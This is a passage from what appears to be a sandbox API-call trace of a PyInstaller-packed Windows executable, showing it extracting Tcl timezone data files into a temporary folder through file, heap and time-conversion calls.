FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.071] CloseHandle (hObject=0x10c) returned 1 [0041.071] GetLastError () returned 0x0 [0041.071] SetLastError (dwErrCode=0x0) [0041.071] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia") returned 66 [0041.071] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.071] GetFileType (hFile=0x10c) returned 0x1 [0041.071] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.071] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.071] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.071] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.071] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.071] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.071] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.071] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.072] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.072] CloseHandle (hObject=0x10c) returned 1 [0041.072] GetLastError () returned 0x0 [0041.072] SetLastError (dwErrCode=0x0) [0041.072] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\North") returned 72 [0041.072] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\North" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia\\north"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0041.072] GetLastError () returned 0x2 [0041.072] SetLastError (dwErrCode=0x2) [0041.072] GetLastError () returned 0x2 [0041.072] SetLastError (dwErrCode=0x2) [0041.072] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\North", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\North", lpFilePart=0x0) returned 0x47 [0041.072] GetLastError () returned 0x2 [0041.072] SetLastError (dwErrCode=0x2) [0041.072] GetLastError () returned 0x2 [0041.072] SetLastError (dwErrCode=0x2) [0041.072] GetLastError () returned 0x2 [0041.072] SetLastError (dwErrCode=0x2) [0041.072] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\North") returned 72 [0041.072] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0041.072] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\North" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia\\north"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.104] GetFileType (hFile=0x10c) returned 0x1 [0041.104] htonl (hostlong=0xbb000000) returned 0xbb [0041.104] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.104] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xbb, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xbb, lpOverlapped=0x0) returned 1 [0041.105] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.105] CloseHandle (hObject=0x10c) returned 1 [0041.106] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55dcc0 | out: hHeap=0x530000) returned 1 [0041.106] htonl (hostlong=0x30000000) returned 0x30 [0041.106] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0041.106] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0041.106] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.106] GetFileType (hFile=0x10c) returned 0x1 [0041.106] htonl (hostlong=0x92875b00) returned 0x5b8792 [0041.106] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x603792, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0041.106] htonl (hostlong=0x8010000) returned 0x108 [0041.106] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x108) returned 0x550600 [0041.106] htonl (hostlong=0x8010000) returned 0x108 [0041.106] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.106] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0041.106] htonl (hostlong=0xb6020000) returned 0x2b6 [0041.106] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x2b6) returned 0x550710 [0041.106] htonl (hostlong=0x8010000) returned 0x108 [0041.106] htonl (hostlong=0xb6020000) returned 0x2b6 [0041.107] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0041.107] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0041.107] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0041.107] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.107] CloseHandle (hObject=0x10c) returned 1 [0041.107] GetLastError () returned 0x0 [0041.107] SetLastError (dwErrCode=0x0) [0041.107] GetLastError () returned 0x0 [0041.107] SetLastError (dwErrCode=0x0) [0041.107] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0041.107] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.107] GetFileType (hFile=0x10c) returned 0x1 [0041.107] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.107] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.107] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.107] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.107] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.107] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.107] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.107] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.107] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.107] CloseHandle (hObject=0x10c) returned 1 [0041.107] GetLastError () returned 0x0 [0041.107] SetLastError (dwErrCode=0x0) [0041.107] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0041.108] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.108] GetFileType (hFile=0x10c) returned 0x1 [0041.108] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.108] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.108] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.108] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.108] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.108] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.108] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.108] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.108] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.108] CloseHandle (hObject=0x10c) returned 1 [0041.108] GetLastError () returned 0x0 [0041.108] SetLastError (dwErrCode=0x0) [0041.108] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia") returned 66 [0041.108] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.108] GetFileType (hFile=0x10c) returned 0x1 [0041.108] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.108] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.108] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.108] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.108] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.108] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.108] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.109] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.109] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.109] CloseHandle (hObject=0x10c) returned 1 [0041.109] GetLastError () returned 0x0 [0041.109] SetLastError (dwErrCode=0x0) [0041.109] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Perth") returned 72 [0041.109] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Perth" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia\\perth"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0041.109] GetLastError () returned 0x2 [0041.109] SetLastError (dwErrCode=0x2) [0041.109] GetLastError () returned 0x2 [0041.109] SetLastError (dwErrCode=0x2) [0041.109] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Perth", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Perth", lpFilePart=0x0) returned 0x47 [0041.109] GetLastError () returned 0x2 [0041.109] SetLastError (dwErrCode=0x2) [0041.109] GetLastError () returned 0x2 [0041.109] SetLastError (dwErrCode=0x2) [0041.109] GetLastError () returned 0x2 [0041.109] SetLastError (dwErrCode=0x2) [0041.109] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Perth") returned 72 [0041.109] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0041.109] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Perth" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia\\perth"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.109] GetFileType (hFile=0x10c) returned 0x1 [0041.109] htonl (hostlong=0xb6020000) returned 0x2b6 [0041.110] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.110] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x2b6, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x2b6, lpOverlapped=0x0) returned 1 [0041.111] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.111] CloseHandle (hObject=0x10c) returned 1 [0041.111] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550710 | out: hHeap=0x530000) returned 1 [0041.111] htonl (hostlong=0x30000000) returned 0x30 [0041.111] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0041.111] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0041.111] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.111] GetFileType (hFile=0x10c) returned 0x1 [0041.111] htonl (hostlong=0x9a885b00) returned 0x5b889a [0041.111] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x60389a, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0041.111] htonl (hostlong=0x8f000000) returned 0x8f [0041.111] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8f) returned 0x55cfe0 [0041.111] htonl (hostlong=0x8f000000) returned 0x8f [0041.111] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.111] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0041.111] htonl (hostlong=0xc6000000) returned 0xc6 [0041.112] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc6) returned 0x550600 [0041.112] htonl (hostlong=0x8f000000) returned 0x8f [0041.112] htonl (hostlong=0xc6000000) returned 0xc6 [0041.112] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0041.112] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0041.112] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0041.112] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.112] CloseHandle (hObject=0x10c) returned 1 [0041.112] GetLastError () returned 0x0 [0041.112] SetLastError (dwErrCode=0x0) [0041.112] GetLastError () returned 0x0 [0041.112] SetLastError (dwErrCode=0x0) [0041.112] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0041.112] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.112] GetFileType (hFile=0x10c) returned 0x1 [0041.112] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.112] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.112] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.112] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.112] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.112] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.112] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.112] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.112] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.112] CloseHandle (hObject=0x10c) returned 1 [0041.112] GetLastError () returned 0x0 [0041.112] SetLastError (dwErrCode=0x0) [0041.113] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0041.113] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.113] GetFileType (hFile=0x10c) returned 0x1 [0041.113] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.113] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.113] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.113] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.113] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.113] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.113] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.113] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.113] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.113] CloseHandle (hObject=0x10c) returned 1 [0041.113] GetLastError () returned 0x0 [0041.113] SetLastError (dwErrCode=0x0) [0041.113] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia") returned 66 [0041.113] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.113] GetFileType (hFile=0x10c) returned 0x1 [0041.113] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.113] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.113] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.113] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, 